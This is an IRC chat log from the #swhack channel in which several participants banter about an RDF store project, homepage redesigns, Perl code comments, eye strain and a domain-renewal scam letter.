<AaronSw> hello 00:48:19 <AaronSw> oops, missed Morbus 00:48:42 <Morbus> Morbus has joined #swhack 00:49:10 <sbp> Hi 00:49:19 <sbp> the PySWAG-D is going well 00:50:18 <AaronSw> Cool 00:52:00 <sbp> oh, of course... hang on a sec, I have to reconigure it 00:52:05 <sbp> erm... 00:52:16 <sbp> I told the plumber 00:52:22 <AaronSw> About what? 00:52:44 <sbp> about some plumbing thing 00:53:42 <AaronSw> * AaronSw imagines sbp talking to the plumber: "Hi there! Would you like to see this new Python-based RDF store for decentralized schemata I'm building?" 00:53:57 <AaronSw> Only reads N-Triples, pah! 00:54:21 <AaronSw> How's it going, Morbus? 00:54:35 <Morbus> Morbus: i have to go pee. i won't, though. instead, i will increase my bladder size. 00:54:35 <Morbus> Morbus: soon, i shall never have to pee. muhahaha 00:54:40 <Morbus> what do you think? ;) 00:54:41 <sbp> only reads NTriples: well, then we can open it up to people 00:54:54 <sbp> if people publish it in NTriples, then they have indeed worked hard 00:55:12 <AaronSw> Interesting, Morbus. 00:55:16 <sbp> plus, it's context driven! so if people add a crap load of data, we can just delete the context. Ha, ha! 00:55:30 <AaronSw> sbp, no they will simply use my site to convert. 00:55:36 <AaronSw> Ooh, contexts.. cool. 00:55:47 <AaronSw> Can you fix it so it doesn't use those stupid CGI addresses, tho? 00:55:53 <sbp> they won't use your site to convert, because it doesn't fecking work 00:56:03 <sbp> stupid CGI addresses: that will be your job 00:56:11 <Morbus> i want a job. 00:56:20 <Morbus> ooh ooh pick me pick me 00:57:26 <AaronSw> I thought it worked -- you gave me a URL that worked. 00:57:43 <sbp> no, it's Aaron's responsiblity, not yours. Don't dig him out of the hole that he dug himself into 00:57:54 <AaronSw> Pfft. 00:57:56 <AaronSw> You better make it easy for me to fix. 00:57:57 <sbp> yeah: CWM messes up whitspace on some schemata 00:58:22 <Morbus> ooh. AaronSw screwed up? 00:58:43 <AaronSw> sbp, well fix something: a) cwm b) your code 00:58:53 <AaronSw> O dodm 00:58:58 <AaronSw> I didn't screw anything up! 01:00:29 <Morbus> * Morbus backs away slowly. 01:04:56 <AaronSw> Address Book.app is really screwed up. 01:09:05 <AaronSw> Heheh, Jeremy Carroll: "WARNING WARNING JEREMY IS EXPLODING ... :)" 01:09:34 <AaronSw> Art Barstow: "You know Pearl Jam wrote a song about a Jeremy getting out of control:" 01:11:01 <AaronSw> Ugh, AudioGalaxy has stepped up their filters. 01:15:11 <sbp> ugh 01:16:31 <AaronSw> When will folks learn... 01:20:25 <sbp> Gotta run 01:21:20 <AaronSw> c'ya 01:23:25 <sbp> sbp has quit 02:02:25 <Morbus> heh. aaron. from the synca code: 02:02:45 <AaronSw> lol! 02:02:46 <AaronSw> Did you mean to keep that out of log 02:03:00 <Morbus> no. that's just how a comment is in perl <g> 02:03:11 <Morbus> some spelling errors too. 02:03:12 <Morbus> fixing. 02:03:12 <AaronSw> Dedicated to all the companies who wait until they get a large user base dedictaed to using their free softwar, and then shafting said user base with mandatory payment for continued usage. I crush your head. 02:03:20 <Morbus> you like that, though? 02:03:21 <AaronSw> :-) 02:03:41 <AaronSw> You might want to change "crush your head" to something more appropriate 02:03:50 <Morbus> like what? i spit on your grave? 02:04:07 <AaronSw> lol, that's great 02:04:13 <Morbus> which? <g> 02:04:21 <AaronSw> the grave 02:04:41 <Morbus> i'll use that one then :) 02:05:11 <Morbus> gotta find a diff word for the second dedicated though 02:05:25 <Morbus> dependant? 02:06:37 <AaronSw> Yeah, that's good. 02:22:37 <AaronSw> <davb> Perl is like vice grips. You can do anything with it, and it's the wrong tool for every job. 02:23:02 <AaronSw> <davb> Python is executable pseudocode. Perl is executable line noise. 02:23:16 <AaronSw> Not actually from davb, from http://www.mindview.net/Books/Python/ThinkingInPython.html 02:23:18 <Morbus> hehehehe 02:25:13 <Morbus> whatdya think of: 02:25:57 <AaronSw> Dedicated to all the companies who wait until a large user base becomes dependant on their free software, then shafting said happy campers with mandatory payment for continued usage. I spit on your grave. 02:26:21 <AaronSw> Hmm.. perhaps change free software to something that doesn't make it sound GNU 02:26:40 <Morbus> /free software/freeware/? 02:27:07 <AaronSw> Yeah, that'd be good. 02:30:01 <Morbus> k 02:31:55 <Morbus> ooh. my file rotate/backup code is fly. 02:32:05 <Morbus> * Morbus stifles chuckle. 02:32:16 <AaronSw> fly? 02:32:34 <Morbus> yeah, you know, like superfly. i dunno why i said that. 02:32:50 <AaronSw> Heh. 02:33:37 <AaronSw> Hehehe: [[[Yup, 8 millibits per second. This counts as the first implementation of IP over humpback whale song, with ones encoded as "AHOOOOOOOOHHHhhh..." and zeroes encoded as "EEEEEEeeeeEEEEEeeEEEEE..." ]]] 02:33:56 <deltab> hehe 02:34:26 <AaronSw> - http://slashdot.org/comments.pl?sid=22763&threshold=-1&commentsort=0&mode=thread&pid=2449346#2449452 02:34:48 <AaronSw> err http://slashdot.org/comments.pl?sid=22763&cid=2449452 02:38:13 <AaronSw> Heheh: http://www.python.org/doc/Humor.html#yoda 02:40:38 <Morbus> just cvs'd my latest changes. woo. think i'm done for the night. 02:45:29 <AaronSw> Ahh, I still love this line: 02:46:08 <AaronSw> """Allegedly, a group of 12 and 13-year old Girl Scouts had gathered for their weekly fix of "90210," the popular prime time television soap opera, but started reading TidBITS-320 during the advertisements. The group began to speculate as to the various meanings of the phrase "damn tootin'" and reportedly went downhill fast from there, falling into an Internet-induced frenzy involving heavy intravenous drug use that almost led the girls to lives of prost 02:46:09 <AaronSw> - http://www.tidbits.com/issue321/ 02:46:30 <Morbus> bwahahah 02:47:01 <Morbus> you saw amphetadesk in issue600, right? nudge, nudge, wink, wink ;) 02:47:27 <AaronSw> yep 02:47:46 <AaronSw> It was an April Fools joke too? 02:47:49 <AaronSw> Real URL: http://www.tidbits.com/tb-issues/TidBITS-321.html 02:49:34 <sbp> sbp has joined #swhack 02:49:54 <sbp> we are? 02:50:06 <sbp> is anybody here? 02:50:12 <Morbus> AaronSw: you here? 02:50:18 <AaronSw> I am. 02:50:24 <Morbus> I'm not. 02:50:24 <AaronSw> We are what? 02:50:28 <AaronSw> Oh, that. 02:50:31 <Morbus> What we are, of course. 02:51:01 <AaronSw> AaronSw has changed the topic to: It's Alright, Ma. (It's Only Morbus) 02:51:29 <sbp> ah! commendable topic 02:51:35 <Morbus> Heh. When you don't carpool, you ride with morbus. no one wants that now, do we? 02:51:50 <Morbus> yeah, that didn't make much sense, unless you remember the old postwar hitler/carpool ad. 02:52:12 <AaronSw> Ah. 02:52:22 <Morbus> you know of it, AaronSw? 02:52:24 <sbp> * sbp is building towards a new homepage 02:52:29 <AaronSw> No, but I can guess. 02:52:36 <Morbus> yeah, it was pretty funny. 02:52:58 <Morbus> it said "when you don't carpool, you ride with hitler", and it had this happy guy all alone, with a ghost hitler in the passenger seat. 02:54:28 <AaronSw> sbp, homepage looks much better now... but can we put that pool picture of you by the palm tree? 02:54:54 <AaronSw> Where'd you get that Palm tree, btw? you draw it? 02:55:08 <sbp> I don't have one of me by a palm tree. Just the palm tree by itself 02:55:13 <sbp> yes, I drew it 02:55:37 <AaronSw> Yes, so use the Pool picture... drop it on top or something 02:56:07 <sbp> the pool picture is massive 02:56:08 <AaronSw> Huh? "Just give me eight acres and a mule." 02:56:28 <sbp> what's so "huh?" about that? Neohomesteading 02:57:05 <AaronSw> It came out of left field. 02:57:15 <AaronSw> I only homestead on the noosphere, fwiw 02:57:40 <AaronSw> "This word is currently in low circulation." Don't tell them! 02:57:49 <sbp> anyhoo, I'd like to use the pool picture, but I like the palm too 02:57:56 <sbp> don't tell them: yeah... heh 02:58:10 <AaronSw> Ted Nelson is a pretty phenomicizes quite a bit. 02:58:25 <AaronSw> I was just mentioning that to tav, who said he didn't like the term "dataplesh" 02:58:35 <deltab> ?Redo from start 02:58:42 <AaronSw> Huh? 02:58:48 <deltab> exactly 02:58:55 <deltab> 025939Z <AaronSw:#swhack> Ted Nelson is a pretty phenomicizes quite a bit. 02:59:09 <AaronSw> Oops, I meant Ted Nelson phenomicizes quite a bit. 02:59:22 <AaronSw> I was trying to use it in adjective form, but it didn't work. 02:59:25 <AaronSw> He's phenomical? 02:59:32 <AaronSw> to tav: "Perhaps you need to read a dose of Ted Nelson for it to make sense. I mean, he's quite proud of inventing the General Enfilde Theory, and things everyone should dag instead of click. Remember that the world is closely intertwingled." 02:59:36 <deltab> phenomenal? 02:59:42 <AaronSw> s/thinks/thinks/ 02:59:47 <AaronSw> err s/things/thinks/ 03:00:02 <AaronSw> phenomenal... perhaps 03:00:15 <AaronSw> sbp's just phenominal! 03:00:36 <AaronSw> sbp, who was this colleague and how did he pronounce FragID? 03:00:42 <AaronSw> It's not phenomic to me at all. 03:01:00 <sbp> WL 03:01:16 <AaronSw> I suspected as much. 03:01:39 <AaronSw> pronouncing it fragid would be cool. 03:01:47 <AaronSw> That's fragid, dude -- stay away. 03:02:08 <sbp> is that plam alright, ro should I whip it out? 03:02:21 <AaronSw> ro ro ro your palm 03:02:25 <AaronSw> I like it -- I think it fits well. 03:02:42 <AaronSw> LOL: alt="Oooooooooh!" 03:02:45 <sbp> phew 03:02:52 <AaronSw> class="hjs" title="Homer J. Simpson" 03:02:57 <sbp> yeah, that's a recycled alt.... ahem 03:03:16 <AaronSw> Ooooooooh! 03:03:26 <sbp> that's what Homer's doing! 03:03:32 <Morbus> oh yeah, sbp, you should see the dedicate in the sync source code :) 03:03:33 <sbp> He's saying "Oooooooooh!" 03:03:41 <sbp> URI? 03:03:42 <AaronSw> Indeed he is. 03:03:46 <AaronSw> It's in the logs. 03:05:17 <AaronSw> You need a third image to complete things... 03:05:18 <sbp> ah, yes. Indeed it is 03:05:28 <sbp> a third? 03:05:38 <sbp> two is like a new record for me! 03:05:49 <AaronSw> I know... but it feels so incomplete! 03:05:51 <AaronSw> Yeah, perhaps a pic of a verbivore, or some music. 03:06:33 <sbp> Hmm... I see what you mean 03:06:45 <AaronSw> It's asymetric. 03:07:01 <Morbus> goddamit. 03:07:17 <sbp> note that the asterisks are aslo images 03:08:06 <AaronSw> You're right... that's sucky... 03:08:14 <sbp> annoying thing is, it's getting more like the current site every day 03:08:24 <sbp> no, I wanted to link them to a little audio cue 03:08:58 <sbp> I couldn't do that with CSS, or just plain text (well I could, but it would have sucked in non-CSS browsers), and the GIF is sub 0.5KB 03:09:13 <AaronSw> Hmm, OK then. 03:09:17 <AaronSw> Ooh, I love this song! 03:09:24 <AaronSw> It makes me feel so anarchy! 03:09:35 <sbp> so anarchy? 03:09:50 <AaronSw> Yeah... as in jittery or silly... anarchy 03:09:58 <sbp> what is it with you and adjectives today? 03:10:07 <sbp> anarchic, or anarchaic 03:10:22 <AaronSw> Anarchaic makes it sound like it's old. 03:10:29 <AaronSw> Or perhaps new. 03:10:35 <sbp> that's anachronistic 03:10:58 <AaronSw> I mean, you gotta love any song that starts "Give me an F!" "F!" "Give me a U!" "U" etc. 03:11:00 <sbp> ah: anarchic 03:11:06 <AaronSw> "What's that spell?" ... 03:11:07 <AaronSw> "What's that spell?" ... 03:11:08 <AaronSw> "What's that spell?" ... 03:11:08 <AaronSw> "What's that spell?" ... 03:11:12 <AaronSw> He does it like 20 times. 03:11:21 <sbp> it spells: FU 03:11:35 <AaronSw> It goes on, stupid. 03:11:42 <AaronSw> I'm too lazy to type it all. 03:11:45 <sbp> ah, "fuzzle" 03:11:50 <AaronSw> * AaronSw smacks sbp 03:12:32 <AaronSw> "Be the first one on your block to have your boy come home in a box!" 03:12:51 <sbp> heh, if were confusing nouns for adjectives: you have a doggy imagination 03:13:03 <AaronSw> How so? 03:13:22 <deltab> hehe 03:13:25 <sbp> just a phrasism I thought up 03:13:53 <AaronSw> You might want to blow your nose -- you seem a bit phrasal today. 03:14:02 <sbp> he he he 03:14:55 <Morbus> welp, i'm outta here 03:15:26 <deltab> nasal relates to the nose, so phrasal relates to the...? 03:15:32 <AaronSw> OceanStore has a great logo: http://oceanstore.cs.berkeley.edu/images/oceanblue.gif 03:15:42 <sbp> how does the weather go: whither weather? 03:15:48 <Morbus> Morbus has quit 03:16:00 <AaronSw> phrasal relates to the phrase 03:16:01 <AaronSw> and it's overuse 03:16:18 <AaronSw> s/it's/its/ 03:16:38 <sbp> ah, you suddenly make sensy 03:16:48 <sbp> you have become ensensified! 03:17:02 <AaronSw> "Ohhh, darling you're sooo sensy tonight." 03:17:11 <AaronSw> Is that what you say to sensual people? 03:17:24 <sbp> no, they're sensual 03:17:36 <AaronSw> "It doesn't have to be consensual to be sensual." 03:18:33 <sbp> that's an optimistic assesment 03:18:57 <AaronSw> That 03:19:06 <AaronSw> That's true... I do need to go to the optimologist. 03:19:47 <sbp> having your optimoids removed again, eh? 03:20:08 <AaronSw> I realized today that it's not just my imagination... I really can't see long distances. 03:20:18 <AaronSw> I was at my brother's football game, and my eyes are totally shot. 03:20:31 <sbp> too much sitting at the computer screen 03:20:34 <AaronSw> Yep If I squint or push on them I can see better again. 03:20:54 <AaronSw> So i've installed software that locks me out of the computer ever x minutes. 03:21:00 <AaronSw> Where I've set x to 20. 03:21:04 <sbp> really? 03:21:10 <AaronSw> Yep. 03:21:23 <AaronSw> Well, it doesn't lock me out... it just puts this big red splotch over the screen. 03:21:28 <AaronSw> That says my time is up. 03:21:37 <sbp> ported to Windows? 03:22:00 <AaronSw> I'm sure there are a ton for Windows. 03:22:20 <AaronSw> Do a search for RSI software. 03:22:23 <AaronSw> Since it's really designed for RSI sufferers 03:22:34 <sbp> uh huh 03:22:49 <AaronSw> My hands will be next. 03:23:03 <AaronSw> My neck is already really messed up, but I think that was mostly my heavy backpack from school. 03:23:24 <AaronSw> * AaronSw looks for his Handeze gloves 03:24:04 <sbp> I wore my backpack on one shoulder for years... doesn't seem to have done anything to severe, so that's cool 03:24:16 <sbp> actually, I think it probably strengthened that side :-) 03:24:23 <AaronSw> Hmm... but my backpack was heavy, and I'm quite small. 03:24:29 <AaronSw> My shoulders were definitely strong afterward. 03:24:35 <sbp> I used to carry lead weights in mine 03:24:36 <AaronSw> I had like bulging shoulder muscles 03:24:41 <AaronSw> it was quite weird 03:24:48 <sbp> heh, but just on one side 03:25:01 <sbp> * sbp probably did carry lead weights at one time. Dunno 03:25:15 <AaronSw> Weird. 03:25:37 <AaronSw> It was so heavy I just stopped carrying textbooks. 03:25:38 <sbp> fishing weights 03:25:45 <sbp> heh, sensible plan 03:25:48 <AaronSw> But still it was much too heavy. 03:26:03 <AaronSw> So i got rid of homework and other papers 03:26:09 <AaronSw> but still it was pretty heavy. 03:26:14 <sbp> easier to just leave the books at college, and then find them 03:26:33 <AaronSw> No, this was before I went to college. 03:26:38 <sbp> still, I needed a bag for all my discs... 03:26:53 <AaronSw> discs? 03:27:00 <sbp> floppies 03:27:13 <sbp> Hmm... still not as good as your homepage. Closer, though 03:27:18 <AaronSw> Oops, here's another break. 03:27:30 <AaronSw> Really? I was going to change my page to be more like yours. 03:27:40 <AaronSw> your new one at least. 03:28:15 <sbp> well, yours fits nicely, and it has more content 03:28:22 <sbp> you've done cooler stuff than I have 03:29:04 <AaronSw> Heh. 03:29:14 <sbp> <AaronSw> Really? I was going to change my page to be more like yours. 03:29:29 <sbp> ironic: I've been very carefully trying to avoid your design! 03:29:50 <AaronSw> Heheh. 03:29:53 <sbp> heh, I reckon you sneak in small changes, and I think "was it like that before? crap, I'd better change it just in case" 03:30:12 <AaronSw> People keep saying it's like Jakob Nielsen which really bugs me. 03:30:21 <sbp> ugh! 03:30:26 <sbp> I'd beeter check mine isn't... 03:30:31 <AaronSw> I ran it thru checklink and fixed a few problems with it. 03:30:55 <sbp> blimey, yours *is* like Jakob's 03:31:31 <sbp> 'cept better, better content, better font, better layout of information 03:31:42 <AaronSw> Aww, thanks. 03:32:07 <sbp> but the two boxes... perhaps a sub-concious insriation? 03:32:30 <sbp> er... subconscious inspiration is probably what I was trying to say 03:34:03 <AaronSw> Heh. 03:34:16 <AaronSw> Perhaps... 03:36:22 <sbp> ah, I've moved Homer down, so I only need two images now 03:36:44 <AaronSw> Did you move the palm too? 03:36:51 <sbp> nope 03:37:02 <sbp> so rather than oox it's oxo 03:37:41 <AaronSw> Hmm... it's better -- but it still feels like an image would be good 03:37:56 <sbp> I'm resisting the urge to put the pool photo 03:38:01 <sbp> on it 03:38:11 <AaronSw> Oh, come on. 03:38:21 <AaronSw> It'd go great next to other stuff 03:38:28 <sbp> it's too big! 03:38:40 <AaronSw> what a lame response. 03:38:42 <AaronSw> shrink it down 03:38:52 <sbp> and if I crop it, or minisculize it, it smegs the ambience 03:39:47 <AaronSw> ambience? hmmph 03:41:26 <sbp> smeggit, this page is still as much of a sell out as the old one. Now it's just a well designed sell out 03:42:08 <AaronSw> How is it a sellout? 03:42:14 <sbp> I wanted a little story on there or something, but everytime I wrote something, it either sucked, or it was too big so I had to put it on another page and link to it 03:42:34 <sbp> sellout: "Hi! I'm Sean B. Palmer, a great big Google loving narcissist" 03:42:48 <AaronSw> So? 03:43:05 <sbp> well, that sucks. I'd rather not have a homepage if it's really like that 03:43:24 <sbp> the bottom of the page is alright... 03:43:44 <sbp> from "Verbivore" downwards 03:44:32 <sbp> the top half is "this is who I am. This is how to contact me. This is what I do. Aren't I boring? Could I be any more cliched?" 03:44:56 <AaronSw> LOL 03:44:59 <AaronSw> You should put that on. 03:45:06 <sbp> yes! 03:45:09 <AaronSw> and make them links 03:45:14 <AaronSw> and take out the boring junk 03:47:50 <sbp> * sbp works on it 03:48:47 <sbp> * sbp chops away at it, worrying about the balance later 03:50:41 <sbp> cool, I've utterly destroyed it 03:51:19 <sbp> * sbp makes a backup 03:51:34 <AaronSw> Yeah, I like that. 03:54:54 <sbp> Ugh, but now the design quality goes in the wrong direction. I spent too mcuh time working on the top of the document: silly me 03:55:51 <AaronSw> Can you link "Aaron Swartz"? 03:56:00 <sbp> pay me 03:56:28 <AaronSw> LOL! 03:57:02 <sbp> yeah, I wondered about that. On the one hand, it really really sucks big time if I don't make it into a link, but on the other hand, people will be like, "oh, this dude is more more interesting than this git; I'll go to his homepage instead" 03:57:02 <AaronSw> The LOL scale: heh; Heh.; Heheh.; Heheh!; lol; LOL; LOL! 03:57:11 <AaronSw> LOL 03:58:00 <sbp> perhaps I can put that in as a note at the very bottom, with the link, and a note stating that I'm still expecting payment from you 03:58:37 <AaronSw> See it's only funny to me, because it wouldn't scare anyone else. 03:58:52 <AaronSw> Hey, you took out the menu bit! 03:59:04 <sbp> only funny to you? what, and why? 03:59:16 <AaronSw> the "pay me" thing 03:59:25 <AaronSw> because I'm scared I'll have to pay everyone for links 03:59:36 <sbp> ah, good point 03:59:48 <AaronSw> the email thing could be quite funny to many visitors, because they probably plan on or have mailed you, so they're scared that it won't go thru 04:00:07 <sbp> email thing? 04:00:21 <AaronSw> I rent my emails out on weekends to a takeout service 04:00:32 <AaronSw> so please only inquire about menu prices during the week 04:00:56 <sbp> I took that bit out ages ago... it didn't fit well 04:01:04 <AaronSw> Why not? 04:01:38 <sbp> well, both in the desgin sense (the bold looked out of place) and the content sense (I don't really want to scare the shit out of people who email me) 04:02:00 <AaronSw> LOL, but that's what makes it funny. 04:02:54 <sbp> perhaps 04:03:46 <AaronSw> Jokes are melted fear. 04:04:05 <AaronSw> Dave Winer often says "Fear is frozen fun." 04:04:31 <sbp> er... yeah, of course... 04:05:05 <sbp> I didn't call Dave Winer a nutcase! 04:05:14 <AaronSw> You didn't? 04:05:24 <AaronSw> Have you stopped beating your wife too? 04:05:33 <AaronSw> "Jokes are melted fear." doesn't have the same alliterative qualities, tho 04:05:34 <sbp> I forgot I was married 04:05:40 <AaronSw> (Hmm, does that mean it can't read?) 04:06:14 <sbp> have you stopped getting mad at your school? 04:06:36 <sbp> * sbp makes the link 04:07:25 <AaronSw> Nope, that'll never happen. 04:07:53 <sbp> the teachers that taught you weren't cool, eh? 04:08:12 <sbp> they held you down, turned you 'round, filled you up with their rules... 04:08:17 <sbp> at least it's Getting Better 04:09:36 <AaronSw> It's Getting Better all the time. 04:10:02 <sbp> (it can't get any worse) 04:10:09 <sbp> yes, I admit it's Getting Better 04:10:18 <sbp> etc. 04:10:40 <AaronSw> I thought it was "can't get much worse" 04:10:54 <sbp> Hmm... 04:11:17 <AaronSw> Oh, that's a different section. 04:11:52 <sbp> ah 04:15:28 <sbp> "Contrary to popular opinion, I do not answer the name 'Spanky'." 04:15:43 <sbp> "answer to the name of", rather 04:16:04 <sbp> s/of// 04:16:24 <sbp> shame it isn't f/x/y/ 04:16:35 <sbp> cause you could do 04:16:50 <sbp> hey, off 04:16:58 <sbp> f/off/you arsehole/ 04:17:10 <AaronSw> lol! 04:17:25 <sbp> * sbp was hoping for a "LOL" 04:17:45 <AaronSw> Keep trying. :) 04:18:02 <sbp> let's see... what was in the newspaper today? 04:18:13 <AaronSw> I read the news today, oh boy. 04:18:33 <sbp> ah, yes: 4000 holes in Blackburn, Lancs. 04:18:42 <AaronSw> The English army just killed 400 innocent civillians. 04:18:55 <AaronSw> Hmm, that's a bit of a stretch to get all that to fit. 04:19:14 <AaronSw> Shoot! My poem didn't turn out when I uploaded it. 04:23:09 <sbp> turn out? 04:26:53 <sbp> hello? 04:26:59 <sbp> Aaron!!! 04:27:03 <AaronSw> Hi. 04:27:07 <sbp> hi there 04:27:11 <sbp> turn out? 04:27:14 <AaronSw> The picture of the poem, rather. 04:27:33 <AaronSw> I took a picture of some great urban poetry. 04:27:49 <AaronSw> But when it went thru the website-addition process, the text became unreadable... 04:27:51 <sbp> you mean, "Graffiti" 04:27:57 <AaronSw> No, actually not. 04:28:00 <AaronSw> I'll have to fix it. 04:28:01 <sbp> blargh, bummer 04:28:24 <AaronSw> Someone had printed up a poem and pasted it on top of the "PRESS BUTTON TO WALK" sign. 04:28:42 <AaronSw> http://blogspace.com/pictures/photo-view?photo_id=6346 04:28:53 <AaronSw> It said something about how we were drowning in garbage, etc. 04:29:20 <AaronSw> I liked it a lot. 04:29:20 <sbp> Only... 04:29:42 <AaronSw> Here, let me get out the original 04:30:21 <AaronSw> Oh dear... I can't find it. 04:30:34 <AaronSw> That sucks. 04:31:50 <AaronSw> Ahh, here it is. 04:31:55 <sbp> who's this serious looking dude: http://blogspace.com/pictures/photo-view?photo_id=6344 ? 04:32:57 <AaronSw> Oh, that's Robert Phelps. 04:33:28 <sbp> *The* Robert Phelps? 04:33:56 <AaronSw> Who's that? The one from Mission:Impossible? 04:34:30 <sbp> nope, I guess not 04:34:38 <sbp> anyway... 04:34:52 <sbp> I'd better be teedling and toodling 04:35:00 <AaronSw> * AaronSw updates metadata 04:35:05 <AaronSw> Ah, well then 04:35:07 <sbp> foodling and feedling, bobbling and boobling 04:35:18 <sbp> and off I go 04:35:19 <AaronSw> Heheh 04:35:20 <sbp> c'ya! 04:35:42 <AaronSw> bye 04:38:21 <sbp> sbp has quit 04:44:51 <deltab> hey, a 'befunge'-like typo: 'oruubt' 04:46:49 <AaronSw> cpp;. 04:46:53 <AaronSw> Oops, I meant cool. 04:47:10 <AaronSw> I actually typed that, BTW -- not a joke. 04:58:33 <AaronSw> -- 04:58:43 <AaronSw> I used to wonder why people hated Jury Duty so much. It seemed like an exciting way to spend a day -- I mean how often do you get to be part of a real trial? When would they pick me, I wondered. 05:01:09 <AaronSw> -- 05:01:14 <AaronSw> Oh, I guess I forgot to type this... 05:01:34 <AaronSw> this was the urban poetry: 05:02:33 <AaronSw> "Only when the [last?] tree is dead the [last?] river dammed, [and?] the last field paved over will we realize we can't eat money." 05:17:24 <AaronSw> -- 06:58:44 <AaronSw> AaronSw has changed the topic to: The Red Cross, the World Food Program, UN mine clearing operations. Has the US accidentally attacked _you_ yet? 06:59:31 <AaronSw> AaronSw has changed the topic to: Red Cross, World Food Program, UN mine clearing. Has the US attacked you yet? 07:01:10 <AaronSw> * AaronSw heads off 07:35:34 <AaronSw> * AaronSw returns 07:38:46 <AaronSw> bram on being a pundit: "don't be polite, and *especially* don't have a nice voice, pundits all have a whiny grating affect which makes you hate them even when they're just ordering dinner" 10:20:30 <deltab> deltab has quit 10:21:03 <deltab> deltab has joined #swhack 12:31:56 <AaronSw> * AaronSw tries to wake up 12:51:58 <Morbus> Morbus has joined #swhack 12:52:42 <AaronSw> O'Reilly says some weird things... but then again, he started a company. 12:52:50 <Morbus> heh. what'd he say? 12:53:08 <AaronSw> "I guarantee you that ultimately, you can figure out how to get people to pay for it, because if you don't, you stop producing it." 12:53:23 <AaronSw> Sort of weird for someone who's such a big advocate of open source. 12:53:34 <Morbus> well... 12:53:52 <Morbus> i think he's saying more "there's a will, there's a way", not "monet money money!" 12:54:21 <AaronSw> Heheh. 12:54:38 <AaronSw> Perhaps, but he seems to justify the will/way by threats. 12:55:52 <Morbus> threats? 12:56:11 <AaronSw> If you don't pay me, I'll stop producing it! So you better pay me! 12:56:34 <Morbus> ooh. that's no different than shareware though. 12:56:43 <Morbus> if you don't pay me, i'll nag you! naaaagggGGgg youu! 12:56:49 <AaronSw> Hehe. 12:56:56 <AaronSw> Imagine shareware stalkers. 12:57:01 <Morbus> heheh... 12:57:06 <Morbus> that'd actually be neeat. 12:57:16 <Morbus> a freeware/shareware blacklist. 12:57:30 <Morbus> "this person has used 7 pieces of software, six thousand days past their shareware date" <g> 12:57:34 <AaronSw> People'd put out bounties on folks who had ridiculously large unpaid shareware things. 12:57:37 <Morbus> "this person complains all the tim about free software". 12:58:41 <Morbus> huh, neat. 12:58:53 <Morbus> did you know, you can ship a 4meg qt driver file and have a qt app on windows? 12:59:38 <AaronSw> No, I didn't. That sounds quite neat. 13:01:55 <Morbus> yeah, i just saw it on a jabber app called psi. 13:02:06 <Morbus> qt-mt300.dll 13:02:10 <Morbus> that's it 13:02:42 <AaronSw> Qt/Mac support too. 13:02:53 <Morbus> really? 13:02:54 <Morbus> where? 13:02:59 <Morbus> classic/osx? 13:03:03 <AaronSw> http://www.trolltech.com/products/qt/mac/index.html 13:04:03 <Morbus> neat. 13:04:14 <Morbus> apple contributed code to Tk too. 13:04:18 <Morbus> it's in the cvs now. 13:04:37 <AaronSw> woo! 13:05:06 <Morbus> yeah, woo is right :) 13:05:25 <Morbus> now just to get Perl/Tk, and i'd be happy. i think. 13:05:37 <Morbus> i know in win, you can bundle tk into the .exe. dunno in mac. 13:19:49 <AaronSw> OK, time to go. 13:19:53 <AaronSw> c'ya later 13:19:59 <AaronSw> * AaronSw heads off 13:55:10 <AaronSw> * AaronSw returns 14:09:42 <Morbus> * Morbus yawns. 14:11:36 <AaronSw> * AaronSw waves from telecon... 14:11:45 <Morbus> telecon? 14:11:53 <AaronSw> RDF telecon 14:12:12 <Morbus> RDF telecon? ;) 14:12:20 <AaronSw> http://www.w3.org/2001/sw/RDFCore/ telecon 14:12:46 <AaronSw> you know, where people get on a phone and argue about stuff 14:13:13 <Morbus> oh. well, tell everyone that morbus doesn't think rdf is good code shuii. 14:13:14 <Morbus> :) 14:14:15 <AaronSw> You mean RDF/XML 14:14:24 <AaronSw> s/You/If you/ 14:14:24 <Morbus> prolly. i still know nothng about it. 14:14:27 <AaronSw> then I think everyone agrees with that 14:14:34 <AaronSw> :) 14:29:12 <sbp> sbp has joined #swhack 14:33:13 <Morbus> 'lo 14:34:29 <sbp> 'i 14:34:33 <sbp> Gotta run 14:34:35 <sbp> sbp has quit 14:45:31 <Morbus> Morbus has left #swhack 14:57:00 <AaronSw> * AaronSw heads off 15:07:03 <Morbus> Morbus has joined #swhack 15:34:23 <Morbus> [11:35] <garrettc> yeah... but today is a "randomly swap vowels" day 15:34:23 <Morbus> [11:35] <Morbus> so barn in hall! 15:34:24 <Morbus> [11:35] <garrettc> indoody 15:50:13 <sbp> sbp has joined #swhack 15:50:24 <Morbus> sbp, made a new game. 15:50:34 <Morbus> check the last three messages before you joined ;) 15:50:37 <sbp> Aaron, can you sort out the password for SWAG, please? 15:50:43 <Morbus> well, i didn't make it, actually. 15:50:55 <sbp> * sbp reads the logs 15:51:18 <sbp> wuderfil! 15:51:28 <sbp> ur, wunderfil 15:51:47 <sbp> Eeran? 15:52:22 <sbp> ew, fackut, U'll umial hum 15:54:14 <sbp> Gotta run 15:57:15 <sbp> sbp has quit 16:27:25 <Morbus> Morbus has quit 16:48:22 <sbp> sbp has joined #swhack 16:49:06 <sbp> first version of the PySWAG-D: http://infomesh.net/2001/10/swag/ 16:58:22 <sbp> sbp has quit 17:34:13 <sbp> sbp has joined #swhack 17:49:05 <sbp> sbp has quit 17:50:53 <AaronSw> * AaronSw returns 17:52:19 <AaronSw> Ooh, that's nasty. 17:52:29 <AaronSw> Network Solutions sent me some junk mail that pretended to be a bill for my domain name. 17:52:31 <AaronSw> Even though they aren't my registrar. 17:52:41 <AaronSw> In the fine print on the back it says by signing this you agree to transfer your domain to them. 17:52:51 <AaronSw> Actually, it's not even Network Solutions -- it's Interland, Inc, a "Network Solutions Alliance Partner". 18:10:02 <Morbus> Morbus has joined #swhack 18:10:43 <AaronSw> Beware domain scams, Morbus. 18:11:46 <Morbus> uh. ok. why? 18:13:32 <AaronSw> I dunno.. I was just talking about this scam I got in the mail. 18:13:53 <Morbus> oh. i get scams all the time. i get called about scams all the time. i get faxed scams at work. i'm like a sc[au]m master 18:14:38 <AaronSw> Must be from people doing google searches on evil teletubbies. 18:14:44 <AaronSw> They think, there's a guy who I should scame! 18:15:36 <AaronSw> E-Chilipadi... boy company names are sure getting strange. 18:17:58 <deltab> what about girl company names? 18:18:22 <Morbus> girl company names? like menstruella? 18:18:32 <Morbus> or E-MensTool? 18:18:36 <Morbus> heh. i dunno. 18:18:48 <AaronSw> Ohhhhkay.... 18:19:01 <Morbus> hey, i just got back from lunch ;) 18:30:40 <Morbus> http://www.gpsdrawing.com/Gallery/belephant.htm 18:34:53 <AaronSw> Heheh, that's 